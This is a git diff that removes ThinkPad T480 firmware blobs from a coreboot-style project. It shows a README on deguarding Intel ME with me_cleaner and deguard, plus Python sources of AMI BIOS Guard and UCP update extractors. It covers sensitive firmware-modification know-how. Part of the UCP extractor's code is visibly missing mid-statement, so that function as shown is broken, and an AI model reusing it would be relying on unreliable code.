blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 delete mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 delete mode 100644 blobs/t480/deguard/data/fpfs/optiplex_3050 delete mode 100644 blobs/t480/deguard/data/fpfs/thinkpad_t480 delete mode 100644 blobs/t480/deguard/data/fpfs/zero delete mode 100644 blobs/t480/deguard/doc/COPYING.txt delete mode 100644 blobs/t480/deguard/doc/LICENSE.orig delete mode 100755 blobs/t480/deguard/finalimage.py delete mode 100755 blobs/t480/deguard/gen_shellcode.py delete mode 100755 blobs/t480/deguard/generatedelta.py delete mode 100644 blobs/t480/deguard/lib/cfg.py delete mode 100644 blobs/t480/deguard/lib/exploit.py delete mode 100644 blobs/t480/deguard/lib/image.py delete mode 100644 blobs/t480/deguard/lib/mfs.py delete mode 100755 blobs/t480/deguard/mfsutil.py delete mode 100755 blobs/t480/download-clean-deguard-me.sh delete mode 100644 blobs/t480/gbe delete mode 100644 blobs/t480/ifd_16 delete mode 100644 blobs/t480/me_cleaner/README.md delete mode 100644 blobs/t480/me_cleaner/description.md delete mode 100644 blobs/t480/me_cleaner/man/me_cleaner.1 delete mode 100755 blobs/t480/me_cleaner/me_cleaner.py delete mode 100755 blobs/t480/me_cleaner/setup.py diff --git a/blobs/t480/.gitignore b/blobs/t480/.gitignore deleted file mode 100644 index a9b63f4a5..000000000 --- a/blobs/t480/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -me.bin -tb.bin \ No newline at end of file diff --git a/blobs/t480/README.md b/blobs/t480/README.md deleted file mode 100644 index 2f7d1620a..000000000 --- a/blobs/t480/README.md +++ /dev/null @@ -1,13 +0,0 @@ -# T480 Blobs - -Coreboot on the T480 requires the following binary blobs: - -- `me.bin` - Consists of Intel’s Management Engine (ME), which was modified and deguarded using [me_cleaner](https://github.com/corna/me_cleaner) and [deguard](https://codeberg.org/libreboot/deguard) (written by Mate Kukri) to remove all but the modules which are necessary for the CPU to function. -- `tb.bin` - Consists of Thunderbolt firmware. -- `gbe.bin` - Consists of hardware/software configuration data for the Gigabit Ethernet (GbE) controller. -- `ifd_16.bin` - Consists of the Intel Flash Descriptor (IFD). - -Heads supplies an IFD and GbE blob, which were copied from libreboot. We changed the MAC address of the GbE blob to `00:de:ad:c0:ff:ee` using [nvmutil](https://libreboot.org/docs/install/nvmutil.html), to support anonymity and build reproducibility. - -When building any T480 board variant with `make`, the build system will download a copy the Intel ME. `me.bin` was extracted from a Dell-Inspiron Windows installer firmware update. - diff --git a/blobs/t480/biosutilities/.gitignore b/blobs/t480/biosutilities/.gitignore deleted file mode 100644 index 238b83e2d..000000000 --- a/blobs/t480/biosutilities/.gitignore +++ /dev/null @@ -1,5 +0,0 @@ -# Skip all external files -external/* - -# Keep external > requirements file -!external/requirements.txt diff --git a/blobs/t480/biosutilities/AMI_PFAT_Extract.py b/blobs/t480/biosutilities/AMI_PFAT_Extract.py deleted file mode 100644 index 026b74aea..000000000 --- a/blobs/t480/biosutilities/AMI_PFAT_Extract.py +++ /dev/null @@ -1,319 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -AMI PFAT Extract -AMI BIOS Guard Extractor -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'AMI BIOS Guard Extractor v4.0_a12' - -import os -import re -import sys -import ctypes - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.externals import get_bgs_tool -from common.num_ops import get_ordinal -from common.path_ops import make_dirs, safe_name, get_extract_path, extract_suffix -from common.patterns import PAT_AMI_PFAT -from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -class AmiBiosGuardHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Size', uint32_t), # 0x00 Header + Entries - ('Checksum', uint32_t), # 0x04 ? - ('Tag', char*8), # 0x04 _AMIPFAT - ('Flags', uint8_t), # 0x10 ? - # 0x11 - ] - - def struct_print(self, p): - printer(['Size :', f'0x{self.Size:X}'], p, False) - printer(['Checksum:', f'0x{self.Checksum:04X}'], p, False) - printer(['Tag :', self.Tag.decode('utf-8')], p, False) - printer(['Flags :', f'0x{self.Flags:02X}'], p, False) - -class IntelBiosGuardHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('BGVerMajor', uint16_t), # 0x00 - ('BGVerMinor', uint16_t), # 0x02 - ('PlatformID', uint8_t*16), # 0x04 - ('Attributes', uint32_t), # 0x14 - ('ScriptVerMajor', uint16_t), # 0x16 - ('ScriptVerMinor', uint16_t), # 0x18 - ('ScriptSize', uint32_t), # 0x1C - ('DataSize', uint32_t), # 0x20 - ('BIOSSVN', uint32_t), # 0x24 - ('ECSVN', uint32_t), # 0x28 - ('VendorInfo', uint32_t), # 0x2C - # 0x30 - ] - - def get_platform_id(self): - id_byte = bytes(self.PlatformID) - - id_text = re.sub(r'[\n\t\r\x00 ]', '', id_byte.decode('utf-8','ignore')) - - id_hexs = f'{int.from_bytes(id_byte, "big"):0{0x10 * 2}X}' - id_guid = f'{{{id_hexs[:8]}-{id_hexs[8:12]}-{id_hexs[12:16]}-{id_hexs[16:20]}-{id_hexs[20:]}}}' - - return f'{id_text} {id_guid}' - - def get_flags(self): - attr = IntelBiosGuardHeaderGetAttributes() - attr.asbytes = self.Attributes - - return attr.b.SFAM, attr.b.ProtectEC, attr.b.GFXMitDis, attr.b.FTU, attr.b.Reserved - - def struct_print(self, p): - no_yes = ['No','Yes'] - f1,f2,f3,f4,f5 = self.get_flags() - - printer(['BIOS Guard Version :', f'{self.BGVerMajor}.{self.BGVerMinor}'], p, False) - printer(['Platform Identity :', self.get_platform_id()], p, False) - printer(['Signed Flash Address Map :', no_yes[f1]], p, False) - printer(['Protected EC OpCodes :', no_yes[f2]], p, False) - printer(['Graphics Security Disable :', no_yes[f3]], p, False) - printer(['Fault Tolerant Update :', no_yes[f4]], p, False) - printer(['Attributes Reserved :', f'0x{f5:X}'], p, False) - printer(['Script Version :', f'{self.ScriptVerMajor}.{self.ScriptVerMinor}'], p, False) - printer(['Script Size :', f'0x{self.ScriptSize:X}'], p, False) - printer(['Data Size :', f'0x{self.DataSize:X}'], p, False) - printer(['BIOS Security Version Number:', f'0x{self.BIOSSVN:X}'], p, False) - printer(['EC Security Version Number :', f'0x{self.ECSVN:X}'], p, False) - printer(['Vendor Information :', f'0x{self.VendorInfo:X}'], p, False) - -class IntelBiosGuardHeaderAttributes(ctypes.LittleEndianStructure): - _fields_ = [ - ('SFAM', uint32_t, 1), # Signed Flash Address Map - ('ProtectEC', uint32_t, 1), # Protected EC OpCodes - ('GFXMitDis', uint32_t, 1), # GFX Security Disable - ('FTU', uint32_t, 1), # Fault Tolerant Update - ('Reserved', uint32_t, 28) # Reserved/Unknown - ] - -class IntelBiosGuardHeaderGetAttributes(ctypes.Union): - _fields_ = [ - ('b', IntelBiosGuardHeaderAttributes), - ('asbytes', uint32_t) - ] - -class IntelBiosGuardSignature2k(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Unknown0', uint32_t), # 0x000 - ('Unknown1', uint32_t), # 0x004 - ('Modulus', uint32_t*64), # 0x008 - ('Exponent', uint32_t), # 0x108 - ('Signature', uint32_t*64), # 0x10C - # 0x20C - ] - - def struct_print(self, p): - Modulus = f'{int.from_bytes(self.Modulus, "little"):0{0x100 * 2}X}' - Signature = f'{int.from_bytes(self.Signature, "little"):0{0x100 * 2}X}' - - printer(['Unknown 0:', f'0x{self.Unknown0:X}'], p, False) - printer(['Unknown 1:', f'0x{self.Unknown1:X}'], p, False) - printer(['Modulus :', f'{Modulus[:32]} [...]'], p, False) - printer(['Exponent :', f'0x{self.Exponent:X}'], p, False) - printer(['Signature:', f'{Signature[:32]} [...]'], p, False) - -def is_ami_pfat(input_file): - input_buffer = file_to_bytes(input_file) - - return bool(get_ami_pfat(input_buffer)) - -def get_ami_pfat(input_file): - input_buffer = file_to_bytes(input_file) - - match = PAT_AMI_PFAT.search(input_buffer) - - return input_buffer[match.start() - 0x8:] if match else b'' - -def get_file_name(index, name): - return safe_name(f'{index:02d} -- {name}') - -def parse_bg_script(script_data, padding=0): - is_opcode_div = len(script_data) % 8 == 0 - - if not is_opcode_div: - printer('Error: Script is not divisible by OpCode length!', padding, False) - - return 1 - - is_begin_end = script_data[:8] + script_data[-8:] == b'\x01' + b'\x00' * 7 + b'\xFF' + b'\x00' * 7 - - if not is_begin_end: - printer('Error: Script lacks Begin and/or End OpCodes!', padding, False) - - return 2 - - BigScript = get_bgs_tool() - - if not BigScript: - printer('Note: BIOS Guard Script Tool optional dependency is missing!', padding, False) - - return 3 - - script = BigScript(code_bytes=script_data).to_string().replace('\t',' ').split('\n') - - for opcode in script: - if opcode.endswith(('begin','end')): spacing = padding - elif opcode.endswith(':'): spacing = padding + 4 - else: spacing = padding + 12 - - operands = [operand for operand in opcode.split(' ') if operand] - printer(('{:<12s}' + '{:<11s}' * (len(operands) - 1)).format(*operands), spacing, False) - - return 0 - -def parse_pfat_hdr(buffer, padding=0): - block_all = [] - - pfat_hdr = get_struct(buffer, 0x0, AmiBiosGuardHeader) - - hdr_size = pfat_hdr.Size - hdr_data = buffer[PFAT_AMI_HDR_LEN:hdr_size] - hdr_text = hdr_data.decode('utf-8').splitlines() - - printer('AMI BIOS Guard Header:\n', padding) - - pfat_hdr.struct_print(padding + 4) - - hdr_title,*hdr_files = hdr_text - - files_count = len(hdr_files) - - hdr_tag,*hdr_indexes = hdr_title.split('II') - - printer(hdr_tag + '\n', padding + 4) - - bgt_indexes = [int(h, 16) for h in re.findall(r'.{1,4}', hdr_indexes[0])] if hdr_indexes else [] - - for index,entry in enumerate(hdr_files): - entry_parts = entry.split(';') - - info = entry_parts[0].split() - name = entry_parts[1] - - flags = int(info[0]) - param = info[1] - count = int(info[2]) - - order = get_ordinal((bgt_indexes[index] if bgt_indexes else index) + 1) - - desc = f'{name} (Index: {index + 1:02d}, Flash: {order}, Parameter: {param}, Flags: 0x{flags:X}, Blocks: {count})' - - block_all += [(desc, name, order, param, flags, index, i, count) for i in range(count)] - - _ = [printer(block[0], padding + 8, False) for block in block_all if block[6] == 0] - - return block_all, hdr_size, files_count - -def parse_pfat_file(input_file, extract_path, padding=0): - input_buffer = file_to_bytes(input_file) - - pfat_buffer = get_ami_pfat(input_buffer) - - file_path = '' - all_blocks_dict = {} - - extract_name = os.path.basename(extract_path).rstrip(extract_suffix()) - - make_dirs(extract_path, delete=True) - - block_all,block_off,file_count = parse_pfat_hdr(pfat_buffer, padding) - - for block in block_all: - file_desc,file_name,_,_,_,file_index,block_index,block_count = block - - if block_index == 0: - printer(file_desc, padding + 4) - - file_path = os.path.join(extract_path, get_file_name(file_index + 1, file_name)) - - all_blocks_dict[file_index] = b'' - - block_status = f'{block_index + 1}/{block_count}' - - bg_hdr = get_struct(pfat_buffer, block_off, IntelBiosGuardHeader) - - printer(f'Intel BIOS Guard {block_status} Header:\n', padding + 8) - - bg_hdr.struct_print(padding + 12) - - bg_script_bgn = block_off + PFAT_BLK_HDR_LEN - bg_script_end = bg_script_bgn + bg_hdr.ScriptSize - bg_script_bin = pfat_buffer[bg_script_bgn:bg_script_end] - - bg_data_bgn = bg_script_end - bg_data_end = bg_data_bgn + bg_hdr.DataSize - bg_data_bin = pfat_buffer[bg_data_bgn:bg_data_end] - - block_off = bg_data_end # Assume next block starts at data end - - is_sfam,_,_,_,_ = bg_hdr.get_flags() # SFAM, ProtectEC, GFXMitDis, FTU, Reserved - - if is_sfam: - bg_sig_bgn = bg_data_end - bg_sig_end = bg_sig_bgn + PFAT_BLK_S2K_LEN - bg_sig_bin = pfat_buffer[bg_sig_bgn:bg_sig_end] - - if len(bg_sig_bin) == PFAT_BLK_S2K_LEN: - bg_sig = get_struct(bg_sig_bin, 0x0, IntelBiosGuardSignature2k) - - printer(f'Intel BIOS Guard {block_status} Signature:\n', padding + 8) - - bg_sig.struct_print(padding + 12) - - block_off = bg_sig_end # Adjust next block to start at data + signature end - - printer(f'Intel BIOS Guard {block_status} Script:\n', padding + 8) - - _ = parse_bg_script(bg_script_bin, padding + 12) - - with open(file_path, 'ab') as out_dat: - out_dat.write(bg_data_bin) - - all_blocks_dict[file_index] += bg_data_bin - - pfat_oob_data = pfat_buffer[block_off:] # Store out-of-bounds data after the end of PFAT files - - pfat_oob_name = get_file_name(file_count + 1, f'{extract_name}_OOB.bin') - - pfat_oob_path = os.path.join(extract_path, pfat_oob_name) - - with open(pfat_oob_path, 'wb') as out_oob: - out_oob.write(pfat_oob_data) - - if is_ami_pfat(pfat_oob_data): - parse_pfat_file(pfat_oob_data, get_extract_path(pfat_oob_path), padding) - - in_all_data = b''.join([block[1] for block in sorted(all_blocks_dict.items())]) - - in_all_name = get_file_name(0, f'{extract_name}_ALL.bin') - - in_all_path = os.path.join(extract_path, in_all_name) - - with open(in_all_path, 'wb') as out_all: - out_all.write(in_all_data + pfat_oob_data) - - return 0 - -PFAT_AMI_HDR_LEN = ctypes.sizeof(AmiBiosGuardHeader) -PFAT_BLK_HDR_LEN = ctypes.sizeof(IntelBiosGuardHeader) -PFAT_BLK_S2K_LEN = ctypes.sizeof(IntelBiosGuardSignature2k) - -if __name__ == '__main__': - BIOSUtility(TITLE, is_ami_pfat, parse_pfat_file).run_utility() diff --git a/blobs/t480/biosutilities/AMI_UCP_Extract.py b/blobs/t480/biosutilities/AMI_UCP_Extract.py deleted file mode 100644 index 2f59e6fe1..000000000 --- a/blobs/t480/biosutilities/AMI_UCP_Extract.py +++ /dev/null @@ -1,515 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -AMI UCP Extract -AMI UCP Update Extractor -Copyright (C) 2021-2022 Plato Mavropoulos -""" - -TITLE = 'AMI UCP Update Extractor v2.0_a20' - -import os -import re -import sys -import struct -import ctypes -import contextlib - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.checksums import get_chk_16 -from common.comp_efi import efi_decompress, is_efi_compressed -from common.path_ops import agnostic_path, make_dirs, safe_name, safe_path, get_extract_path -from common.patterns import PAT_AMI_UCP, PAT_INTEL_ENG -from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes, to_string - -from AMI_PFAT_Extract import is_ami_pfat, parse_pfat_file -from Insyde_IFD_Extract import insyde_ifd_extract, is_insyde_ifd - -class UafHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('ModuleTag', char*4), # 0x00 - ('ModuleSize', uint32_t), # 0x04 - ('Checksum', uint16_t), # 0x08 - ('Unknown0', uint8_t), # 0x0A - ('Unknown1', uint8_t), # 0x0A - ('Reserved', uint8_t*4), # 0x0C - # 0x10 - ] - - def _get_reserved(self): - res_bytes = bytes(self.Reserved) - - res_hex = f'0x{int.from_bytes(res_bytes, "big"):0{0x4 * 2}X}' - - res_str = re.sub(r'[\n\t\r\x00 ]', '', res_bytes.decode('utf-8','ignore')) - - res_txt = f' ({res_str})' if len(res_str) else '' - - return f'{res_hex}{res_txt}' - - def struct_print(self, p): - printer(['Tag :', self.ModuleTag.decode('utf-8')], p, False) - printer(['Size :', f'0x{self.ModuleSize:X}'], p, False) - printer(['Checksum :', f'0x{self.Checksum:04X}'], p, False) - printer(['Unknown 0 :', f'0x{self.Unknown0:02X}'], p, False) - printer(['Unknown 1 :', f'0x{self.Unknown1:02X}'], p, False) - printer(['Reserved :', self._get_reserved()], p, False) - -class UafModule(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('CompressSize', uint32_t), # 0x00 - ('OriginalSize', uint32_t), # 0x04 - # 0x08 - ] - - def struct_print(self, p, filename, description): - printer(['Compress Size:', f'0x{self.CompressSize:X}'], p, False) - printer(['Original Size:', f'0x{self.OriginalSize:X}'], p, False) - printer(['Filename :', filename], p, False) - printer(['Description :', description], p, False) - -class UiiHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('UIISize', uint16_t), # 0x00 - ('Checksum', uint16_t), # 0x02 - ('UtilityVersion', uint32_t), # 0x04 AFU|BGT (Unknown, Signed) - ('InfoSize', uint16_t), # 0x08 - ('SupportBIOS', uint8_t), # 0x0A - ('SupportOS', uint8_t), # 0x0B - ('DataBusWidth', uint8_t), # 0x0C - ('ProgramType', uint8_t), # 0x0D - ('ProgramMode', uint8_t), # 0x0E - ('SourceSafeRel', uint8_t), # 0x0F - # 0x10 - ] - - SBI = {1: 'ALL', 2: 'AMIBIOS8', 3: 'UEFI', 4: 'AMIBIOS8/UEFI'} - SOS = {1: 'DOS', 2: 'EFI', 3: 'Windows', 4: 'Linux', 5: 'FreeBSD', 6: 'MacOS', 128: 'Multi-Platform'} - DBW = {1: '16b', 2: '16/32b', 3: '32b', 4: '64b'} - PTP = {1: 'Executable', 2: 'Library', 3: 'Driver'} - PMD = {1: 'API', 2: 'Console', 3: 'GUI', 4: 'Console/GUI'} - - def struct_print(self, p, description): - SupportBIOS = self.SBI.get(self.SupportBIOS, f'Unknown ({self.SupportBIOS})') - SupportOS = self.SOS.get(self.SupportOS, f'Unknown ({self.SupportOS})') - DataBusWidth = self.DBW.get(self.DataBusWidth, f'Unknown ({self.DataBusWidth})') - ProgramType = self.PTP.get(self.ProgramType, f'Unknown ({self.ProgramType})') - ProgramMode = self.PMD.get(self.ProgramMode, f'Unknown ({self.ProgramMode})') - - printer(['UII Size :', f'0x{self.UIISize:X}'], p, False) - printer(['Checksum :', f'0x{self.Checksum:04X}'], p, False) - printer(['Tool Version :', f'0x{self.UtilityVersion:08X}'], p, False) - printer(['Info Size :', f'0x{self.InfoSize:X}'], p, False) - printer(['Supported BIOS:', SupportBIOS], p, False) - printer(['Supported OS :', SupportOS], p, False) - printer(['Data Bus Width:', DataBusWidth], p, False) - printer(['Program Type :', ProgramType], p, False) - printer(['Program Mode :', ProgramMode], p, False) - printer(['SourceSafe Tag:', f'{self.SourceSafeRel:02d}'], p, False) - printer(['Description :', description], p, False) - -class DisHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('PasswordSize', uint16_t), # 0x00 - ('EntryCount', uint16_t), # 0x02 - ('Password', char*12), # 0x04 - # 0x10 - ] - - def struct_print(self, p): - printer(['Password Size:', f'0x{self.PasswordSize:X}'], p, False) - printer(['Entry Count :', self.EntryCount], p, False) - printer(['Password :', self.Password.decode('utf-8')], p, False) - -class DisModule(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('EnabledDisabled', uint8_t), # 0x00 - ('ShownHidden', uint8_t), # 0x01 - ('Command', char*32), # 0x02 - ('Description', char*256), # 0x22 - # 0x122 - ] - - ENDIS = {0: 'Disabled', 1: 'Enabled'} - SHOWN = {0: 'Hidden', 1: 'Shown', 2: 'Shown Only'} - - def struct_print(self, p): - EnabledDisabled = self.ENDIS.get(self.EnabledDisabled, f'Unknown ({self.EnabledDisabled})') - ShownHidden = self.SHOWN.get(self.ShownHidden, f'Unknown ({self.ShownHidden})') - - printer(['State :', EnabledDisabled], p, False) - printer(['Display :', ShownHidden], p, False) - printer(['Command :', self.Command.decode('utf-8').strip()], p, False) - printer(['Description:', self.Description.decode('utf-8').strip()], p, False) - -# Validate UCP Module Checksum-16 -def chk16_validate(data, tag, padd=0): - if get_chk_16(data) != 0: - printer(f'Error: Invalid UCP Module {tag} Checksum!', padd, pause=True) - else: - printer(f'Checksum of UCP Module {tag} is valid!', padd) - -# Check if input is AMI UCP image -def is_ami_ucp(in_file): - buffer = file_to_bytes(in_file) - - return bool(get_ami_ucp(buffer)[0] is not None) - -# Get all input file AMI UCP patterns -def get_ami_ucp(in_file): - buffer = file_to_bytes(in_file) - - uaf_len_max = 0x0 # Length of largest detected @UAF|@HPU - uaf_buf_bin = None # Buffer of largest detected @UAF|@HPU - uaf_buf_tag = '@UAF' # Tag of largest detected @UAF|@HPU - - for uaf in PAT_AMI_UCP.finditer(buffer): - uaf_len_cur = int.from_bytes(buffer[uaf.start() + 0x4:uaf.start() + 0x8], 'little') - - if uaf_len_cur > uaf_len_max: - uaf_len_max = uaf_len_cur - uaf_hdr_off = uaf.start() - uaf_buf_bin = buffer[uaf_hdr_off:uaf_hdr_off + uaf_len_max] - uaf_buf_tag = uaf.group(0)[:4].decode('utf-8','ignore') - - return uaf_buf_bin, uaf_buf_tag - -# Get list of @UAF|@HPU Modules -def get_uaf_mod(buffer, uaf_off=0x0): - uaf_all = [] # Initialize list of all @UAF|@HPU Modules - - while buffer[uaf_off] == 0x40: # ASCII of @ is 0x40 - uaf_hdr = get_struct(buffer, uaf_off, UafHeader) # Parse @UAF|@HPU Module Structure - - uaf_tag = uaf_hdr.ModuleTag.decode('utf-8') # Get unique @UAF|@HPU Module Tag - - uaf_all.append([uaf_tag, uaf_off, uaf_hdr]) # Store @UAF|@HPU Module Info - - uaf_off += uaf_hdr.ModuleSize # Adjust to next @UAF|@HPU Module offset - - if uaf_off >= len(buffer): - break # Stop parsing at EOF - - # Check if @UAF|@HPU Module @NAL exists and place it first - # Parsing @NAL first allows naming all @UAF|@HPU Modules - for mod_idx,mod_val in enumerate(uaf_all): - if mod_val[0] == '@NAL': - uaf_all.insert(1, uaf_all.pop(mod_idx)) # After UII for visual purposes - - break # @NAL found, skip the rest - - return uaf_all - -# Parse & Extract AMI UCP structures -def ucp_extract(in_file, extract_path, padding=0, checksum=False): - input_buffer = file_to_bytes(in_file) - - nal_dict = {} # Initialize @NAL Dictionary per UCP - - printer('Utility Configuration Program', padding) - - make_dirs(extract_path, delete=True) - - # Get best AMI UCP Pattern match based on @UAF|@HPU Size - ucp_buffer,ucp_tag = get_ami_ucp(input_buffer) - - uaf_hdr = get_struct(ucp_buffer, 0, UafHeader) # Parse @UAF|@HPU Header Structure - - printer(f'Utility Auxiliary File > {ucp_tag}:\n', padding + 4) - - uaf_hdr.struct_print(padding + 8) - - fake = struct.pack(' @UAF|@HPU Module/Section -def uaf_extract(buffer, extract_path, mod_info, padding=0, checksum=False, nal_dict=None): - if nal_dict is None: - nal_dict = {} - - uaf_tag,uaf_off,uaf_hdr = mod_info - - uaf_data_all = buffer[uaf_off:uaf_off + uaf_hdr.ModuleSize] # @UAF|@HPU Module Entire Data - - uaf_data_mod = uaf_data_all[UAF_HDR_LEN:] # @UAF|@HPU Module EFI Data - - uaf_data_raw = uaf_data_mod[UAF_MOD_LEN:] # @UAF|@HPU Module Raw Data - - printer(f'Utility Auxiliary File > {uaf_tag}:\n', padding) - - uaf_hdr.struct_print(padding + 4) # Print @UAF|@HPU Module Info - - uaf_mod = get_struct(buffer, uaf_off + UAF_HDR_LEN, UafModule) # Parse UAF Module EFI Structure - - is_comp = uaf_mod.CompressSize != uaf_mod.OriginalSize # Detect @UAF|@HPU Module EFI Compression - - if uaf_tag in nal_dict: - uaf_name = nal_dict[uaf_tag][1] # Always prefer @NAL naming first - elif uaf_tag in UAF_TAG_DICT: - uaf_name = UAF_TAG_DICT[uaf_tag][0] # Otherwise use built-in naming - elif uaf_tag == '@ROM': - uaf_name = 'BIOS.bin' # BIOS/PFAT Firmware (w/o Signature) - elif uaf_tag.startswith('@R0'): - uaf_name = f'BIOS_0{uaf_tag[3:]}.bin' # BIOS/PFAT Firmware - elif uaf_tag.startswith('@S0'): - uaf_name = f'BIOS_0{uaf_tag[3:]}.sig' # BIOS/PFAT Signature - elif uaf_tag.startswith('@DR'): - uaf_name = f'DROM_0{uaf_tag[3:]}.bin' # Thunderbolt Retimer Firmware - elif uaf_tag.startswith('@DS'): - uaf_name = f'DROM_0{uaf_tag[3:]}.sig' # Thunderbolt Retimer Signature - elif uaf_tag.startswith('@EC'): - uaf_name = f'EC_0{uaf_tag[3:]}.bin' # Embedded Controller Firmware - elif uaf_tag.startswith('@ME'): - uaf_name = f'ME_0{uaf_tag[3:]}.bin' # Management Engine Firmware - else: - uaf_name = uaf_tag # Could not name the @UAF|@HPU Module, use Tag instead - - uaf_fext = '' if uaf_name != uaf_tag else '.bin' - - uaf_fdesc = UAF_TAG_DICT[uaf_tag][1] if uaf_tag in UAF_TAG_DICT else uaf_name - - uaf_mod.struct_print(padding + 4, uaf_name + uaf_fext, uaf_fdesc) # Print @UAF|@HPU Module EFI Info - - # Check if unknown @UAF|@HPU Module Tag is present in @NAL but not in built-in dictionary - if uaf_tag in nal_dict and uaf_tag not in UAF_TAG_DICT and not uaf_tag.startswith(('@ROM','@R0','@S0','@DR','@DS')): - printer(f'Note: Detected new AMI UCP Module {uaf_tag} ({nal_dict[uaf_tag][1]}) in @NAL!', padding + 4, pause=True) - - # Generate @UAF|@HPU Module File name, depending on whether decompression will be required - uaf_sname = safe_name(uaf_name + ('.temp' if is_comp else uaf_fext)) - if uaf_tag in nal_dict: - uaf_npath = safe_path(extract_path, nal_dict[uaf_tag][0]) - make_dirs(uaf_npath, exist_ok=True) - uaf_fname = safe_path(uaf_npath, uaf_sname) - else: - uaf_fname = safe_path(extract_path, uaf_sname) - - if checksum: - chk16_validate(uaf_data_all, uaf_tag, padding + 4) - - # Parse Utility Identification Information @UAF|@HPU Module (@UII) - if uaf_tag == '@UII': - info_hdr = get_struct(uaf_data_raw, 0, UiiHeader) # Parse @UII Module Raw Structure - - info_data = uaf_data_raw[max(UII_HDR_LEN,info_hdr.InfoSize):info_hdr.UIISize] # @UII Module Info Data - - # Get @UII Module Info/Description text field - info_desc = info_data.decode('utf-8','ignore').strip('\x00 ') - - printer('Utility Identification Information:\n', padding + 4) - - info_hdr.struct_print(padding + 8, info_desc) # Print @UII Module Info - - if checksum: - chk16_validate(uaf_data_raw, '@UII > Info', padding + 8) - - # Store/Save @UII Module Info in file - with open(uaf_fname[:-4] + '.txt', 'a', encoding='utf-8') as uii_out: - with contextlib.redirect_stdout(uii_out): - info_hdr.struct_print(0, info_desc) # Store @UII Module Info - - # Adjust @UAF|@HPU Module Raw Data for extraction - if is_comp: - # Some Compressed @UAF|@HPU Module EFI data lack necessary EOF padding - if uaf_mod.CompressSize > len(uaf_data_raw): - comp_padd = b'\x00' * (uaf_mod.CompressSize - len(uaf_data_raw)) - uaf_data_raw = uaf_data_mod[:UAF_MOD_LEN] + uaf_data_raw + comp_padd # Add missing padding for decompression - else: - uaf_data_raw = uaf_data_mod[:UAF_MOD_LEN] + uaf_data_raw # Add the EFI/Tiano Compression info before Raw Data - else: - uaf_data_raw = uaf_data_raw[:uaf_mod.OriginalSize] # No compression, extend to end of Original @UAF|@HPU Module size - - # Store/Save @UAF|@HPU Module file - if uaf_tag != '@UII': # Skip @UII binary, already parsed - with open(uaf_fname, 'wb') as uaf_out: - uaf_out.write(uaf_data_raw) - - # @UAF|@HPU Module EFI/Tiano Decompression - if is_comp and is_efi_compressed(uaf_data_raw, False): - dec_fname = uaf_fname.replace('.temp', uaf_fext) # Decompressed @UAF|@HPU Module file path - - if efi_decompress(uaf_fname, dec_fname, padding + 4) == 0: - with open(dec_fname, 'rb') as dec: - uaf_data_raw = dec.read() # Read back the @UAF|@HPU Module decompressed Raw data - - os.remove(uaf_fname) # Successful decompression, delete compressed @UAF|@HPU Module file - - uaf_fname = dec_fname # Adjust @UAF|@HPU Module file path to the decompressed one - - # Process and Print known text only @UAF|@HPU Modules (after EFI/Tiano Decompression) - if uaf_tag in UAF_TAG_DICT and UAF_TAG_DICT[uaf_tag][2] == 'Text': - printer(f'{UAF_TAG_DICT[uaf_tag][1]}:', padding + 4) - printer(uaf_data_raw.decode('utf-8','ignore'), padding + 8) - - # Parse Default Command Status @UAF|@HPU Module (@DIS) - if len(uaf_data_raw) and uaf_tag == '@DIS': - dis_hdr = get_struct(uaf_data_raw, 0x0, DisHeader) # Parse @DIS Module Raw Header Structure - - printer('Default Command Status Header:\n', padding + 4) - - dis_hdr.struct_print(padding + 8) # Print @DIS Module Raw Header Info - - # Store/Save @DIS Module Header Info in file - with open(uaf_fname[:-3] + 'txt', 'a', encoding='utf-8') as dis: - with contextlib.redirect_stdout(dis): - dis_hdr.struct_print(0) # Store @DIS Module Header Info - - dis_data = uaf_data_raw[DIS_HDR_LEN:] # @DIS Module Entries Data - - # Parse all @DIS Module Entries - for mod_idx in range(dis_hdr.EntryCount): - dis_mod = get_struct(dis_data, mod_idx * DIS_MOD_LEN, DisModule) # Parse @DIS Module Raw Entry Structure - - printer(f'Default Command Status Entry {mod_idx + 1:02d}/{dis_hdr.EntryCount:02d}:\n', padding + 8) - - dis_mod.struct_print(padding + 12) # Print @DIS Module Raw Entry Info - - # Store/Save @DIS Module Entry Info in file - with open(uaf_fname[:-3] + 'txt', 'a', encoding='utf-8') as dis: - with 